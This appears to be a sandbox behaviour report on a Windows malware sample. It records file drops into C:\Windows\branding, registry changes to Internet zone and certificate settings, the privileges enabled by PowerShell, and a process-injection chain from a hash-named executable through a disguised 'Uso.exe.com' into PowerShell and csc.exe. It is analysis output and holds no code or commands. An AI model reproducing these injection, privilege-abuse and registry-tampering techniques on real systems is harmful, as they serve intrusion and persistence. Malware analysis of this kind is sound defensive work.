File opened for modification C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\Basebrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_e3m2orhk.v0w.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI627.tmp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B9.tmp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI697.tmp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent," C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\Wbem\WMIC.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\System32\Wbem\WMIC.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones," C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 652 wrote to memory of 204 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 652 wrote to memory of 204 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 652 wrote to memory of 204 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\dllhost.exe
PID 652 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 652 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 652 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe C:\Windows\SysWOW64\cmd.exe
PID 940 wrote to memory of 3180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 940 wrote to memory of 3180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 940 wrote to memory of 3180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3180 wrote to memory of 744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 3180 wrote to memory of 744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 3180 wrote to memory of 744 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 3180 wrote to memory of 2172 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3180 wrote to memory of 2172 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3180 wrote to memory of 1424 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 3180 wrote to memory of 1424 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 3180 wrote to memory of 1424 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2172 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 2172 wrote to memory of 3048 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3048 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3048 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3048 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3048 wrote to memory of 3560 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
PID 3560 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3560 wrote to memory of 4048 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 736 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 4048 wrote to memory of 736 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 736 wrote to memory of 3936 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 736 wrote to memory of 3936 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 4048 wrote to memory of 4008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 4008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 3960 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 3960 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 2388 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4048 wrote to memory of 1708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 1708 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 3956 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 3956 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 8 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 8 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4048 wrote to memory of 752 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 4048 wrote to memory of 752 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
